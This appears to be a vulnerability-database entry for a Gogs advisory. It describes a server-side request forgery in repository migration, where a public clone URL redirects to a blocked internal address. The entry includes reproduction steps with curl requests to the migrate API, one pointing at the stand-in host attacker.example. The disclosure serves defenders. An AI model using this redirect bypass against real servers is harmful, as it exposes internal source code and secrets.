Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/gogs/gogs) · only source for this CVE.
CVSS VectorVendor: https://github.com/gogs/gogs
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
Lifecycle Timeline
2DescriptionCVE.org
Migration URL validation bypass via HTTP redirect to blocked internal endpoints
Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.
Vulnerability Details
The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:
- Attacker submits
http://attacker.example/redirect.git- passes validation (public hostname). - Attacker's server responds with
302redirect tohttp://127.0.0.1:18081/victim/private.git. - Git follows the redirect and clones the internal repository.
- Gogs imports the cloned contents into the attacker's new repository.
The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.
Impact
This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:
- Steal source code and secrets from internal repositories served over HTTP.
- Scan internal network services via the migration endpoint.
Reproduction Steps
Prerequisites: a Gogs instance, an attacker account that can create repositories.
- Start a local HTTP Git server with a test repository on
127.0.0.1:18081. - Start a redirect server that responds to any request with a
302redirect tohttp://127.0.0.1:18081/victim/private.git. - Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"Result: rejected as blocked local address.
- Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"Result: migration succeeds. The new repository contains the internal repository's contents.
AnalysisAI
Server-side request forgery in Gogs versions prior to 0.14.3 allows authenticated users to bypass the migration URL blocklist by submitting a public clone URL that HTTP-redirects to internal endpoints such as 127.0.0.1, causing git clone --mirror to fetch internal repositories and import their contents into an attacker-controlled repo. Affected installations leak source code and secrets from any HTTP-reachable internal Git endpoint, and the migration job doubles as an internal network scanner. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Recommended ActionAI
Within 24 hours: Identify all Gogs instances in production and review repository migration logs for unauthorized access attempts. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-39074
GHSA-g2f5-gjr4-qjvm